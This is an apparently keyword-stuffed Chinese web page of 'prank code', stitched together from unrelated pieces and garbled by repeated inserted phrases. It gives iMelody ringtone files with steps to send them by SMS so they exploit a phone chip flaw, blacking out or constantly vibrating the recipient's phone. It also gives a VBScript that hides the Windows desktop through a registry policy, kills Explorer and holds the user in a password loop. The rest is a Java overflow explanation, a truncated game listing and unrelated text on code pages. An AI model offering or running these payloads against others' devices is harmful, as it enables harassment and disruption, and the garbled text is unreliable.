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有趣的java整蛊短代码 java有趣的简单小代码
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安卓手机整人代码java大全
BEGBEGIN:IMELODY
VERSION:1.2
FORMAT:CLASS1.0
COMPOSER:MIK(23)Fomat
BEAT:180
MELODY:backoffbackofffbackoffbackoffbackoffbackoffbackoffbackoffbackoff
("+melody+"@9999999999999999999999999)"
手机黑屏代码
BEGIN:IMELODY
BEAT:1200
MELODY:(ledoffbackoffvibeoffr5ledoffbackoffvibeoffr5@600)
END:IMELODY
手机狂震代码
BEGIN:IMELODY
VERSION:1.2
FORMAT:CLASS1.0
BEAT:100
MELODY:(ledoffledonbackoffbackonvibeon@0)
END:IMELODY
说明
1 “@”后面有趣的java整蛊短代码的数字越大有趣的java整蛊短代码,重复次数越多
2把上面代码复制有趣的java整蛊短代码,在计算机上保存为.txt文本文件有趣的java整蛊短代码,再改名为 .imy 文件
3 imy 放到手机里的Audio文件夹
4写短信(不是彩信) 写短信时, 插入铃声对象(自定义铃声对象有趣的java整蛊短代码,就是刚才放在audio 里的imy 文件) 并发送, 对方只要是存在这个芯片漏洞,那么则会产生上述所说效果.
相关问答
Q1: 求一段电脑整蛊代码
set ws = wscript.createobject("wscript.shell")
if msgbox("纯属娱乐!just for fun!",4132,"绝对无毒无害!你准备好了吗?")=vbyes then
msgbox"OK!"
else
ws.popup"那也没办法!接招吧!",3
ws.popup"等会的解除密码在网盘里,自己下载,祝你愉快!",3
end if
ws.run" "
ws.regwrite "HKLM\software\microsoft\Windows\currentversion\policies\explorer\nodesktop","00000001","REG_DWORD"
wscript.sleep 500
ws.run "taskkill /f /im explorer.exe",vbhide : wscript.sleep 2000
ws.run "explorer.exe",vbhide : wscript.sleep 6000
do
a=inputbox("请输入密码解除","注意,重启电脑是没有用的!")
if a="我真笨啊" then
msgbox"密码正确!",vbinformation
ws.regwrite "HKLM\software\microsoft\Windows\currentversion\policies\explorer\nodesktop","00000000","REG_DWORD"
wscript.sleep 500
ws.run "taskkill /f /im explorer.exe",vbhide
wscript.sleep 2000
ws.run "explorer.exe",vbhide
msgbox"解除成功!"
exit do
else
msgbox"看你不下载,密码错误!请重试 !"
end if
loop
Q2: 一段有意思的java代码请大家解释~
首先0x7FFFFFFF就是Java里面整形变量的最大值了,有趣的java整蛊短代码你可以看看Integer.MAX_VALUE,"0x7FFFFFFF
*
2.0"是,Java会把结果当做double型,因为double型的数值范围比int大,所以得到的是数学上正确的结果,然后强制转换有趣的java整蛊短代码我int就是Integer.MAX_VALUE了,第一个表达式为true;第二个里面"0x7FFFFFFF
*
2"会被认为是int型,因为0x7FFFFFFF和2都是合法的int,所以就是发生数值的溢出(int)(0x7FFFFFFF
*
2)就被算成-2了,你如果把第二个的结果显式制定为double型,得到的结果也是true:
double
d
=
0x7FFFFFFFL
*
2;//加L指定为long型
System.out.println((int)(0x7FFFFFFF
*
2.0)
==
(int)
d);
第三个因为数值比较小,所以是true。
Q3: 求一个简单又有趣的JAVA小游戏代码
具体如下:
连连看的小源码
package Lianliankan;
import javax.swing.*;
import java.awt.*;
import java.awt.event.*;
public class lianliankan implements ActionListener
{
JFrame mainFrame; //主面板
Container thisContainer;
JPanel centerPanel,southPanel,northPanel; //子面板
JButton diamondsButton[][] = new JButton[6][5];//游戏按钮数组
JButton exitButton,resetButton,newlyButton; //退出,重列,重新开始按钮
JLabel fractionLable=new JLabel("0"); //分数标签
JButton firstButton,secondButton; //
分别记录两次62616964757a686964616fe59b9ee7ad9431333335326239被选中的按钮
int grid[][] = new int[8][7];//储存游戏按钮位置
static boolean pressInformation=false; //判断是否有按钮被选中
int x0=0,y0=0,x=0,y=0,fristMsg=0,secondMsg=0,validateLV; //游戏按钮的位置坐标
int i,j,k,n;//消除方法控制
代码(code)是程序员用开发工具所支持的语言写出来的源文件,是一组由字符、符号或信号码元以离散形式表示信息的明确的规则体系。
对于字符和Unicode数据的位模式的定义,此模式代表特定字母、数字或符号(例如 0x20 代表一个空格,而 0x74 代表字符“t”)。一些数据类型每个字符使用一个字节;每个字节可以具有 256 个不同的位模式中的一个模式。
在计算机中,字符由不同的位模式(ON 或 OFF)表示。每个字节有 8 位,这 8 位可以有 256 种不同的 ON 和 OFF 组合模式。对于使用 1 个字节存储每个字符的程序,通过给每个位模式指派字符可表示最多 256 个不同的字符。2 个字节有 16 位,这 16 位可以有 65,536 种唯一的 ON 和 OFF 组合模式。使用 2 个字节表示每个字符的程序可表示最多 65,536 个字符。
单字节代码页是字符定义,这些字符映射到每个字节可能有的 256 种位模式中的每一种。代码页定义大小写字符、数字、符号以及 !、@、#、% 等特殊字符的位模式。每种欧洲语言(如德语和西班牙语)都有各自的单字节代码页。
虽然用于表示 A 到 Z 拉丁字母表字符的位模式在所有的代码页中都相同,但用于表示重音字符(如"é"和"á")的位模式在不同的代码页中却不同。如果在运行不同代码页的计算机间交换数据,必须将所有字符数据由发送计算机的代码页转换为接收计算机的代码页。如果源数据中的扩展字符在接收计算机的代码页中未定义,那么数据将丢失。
如果某个数据库为来自许多不同国家的客户端提供服务,则很难为该数据库选择这样一种代码页,使其包括所有客户端计算机所需的全部扩展字符。而且,在代码页间不停地转换需要花费大量的处理时间。
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